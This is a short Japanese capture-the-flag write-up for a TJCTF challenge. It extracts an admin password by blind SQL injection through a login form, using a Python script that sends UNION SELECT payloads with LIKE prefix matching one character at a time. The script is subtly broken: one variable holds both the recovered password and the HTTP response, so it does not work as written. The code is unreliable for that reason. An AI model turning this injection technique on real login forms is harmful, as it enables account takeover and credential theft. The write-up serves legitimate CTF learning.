Written by saisree
It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He's told me that his username is admin, and that his password is made of up only lowercase letters. (Wrap the password with tjctf{...})
https://weak_password.tjctf.org/
このCTFではおなじみの画面が表示される。
ソースコードを見ると1つ前のLogin Sequel
と同じっぽいソースコードが出てくる。
前の問題で使ったペイロードをやってみると、これが出てくる。
だめっぽい。
さっきとの違いを見てみると、passwordのハッシュ化が解かれている。
問題コメント見ると、パスワードを見つければいいみたい。
適当に埋め込めてadminがあるかないかで判定されるっぽいので、Blind SQL Injectionができそう。
ついこの前見つけたlimitとcase文で存在するかどうかのオラクルを使った攻撃でもやってみたが、うまくいかない。
like文を使ったやつでやってみよう。
import requests url = "https://weak_password.tjctf.org/login" res = "" for j in range(0, 50): ok = False for c in "abcdefghijklmnopqrstuvwxyz0123456789": pas = f"' union select username, password from `userandpassword` where username = 'admin' and password like '{res}{c}%' /*" print(pas) res = requests.post(url, data={'username': 'x', 'password': pas}) if "Congratulations!" in res.text: res += c print(f"[+] {res}") ok = True break print(f"[*] {res}") if not ok: break
パスワードが抜ける。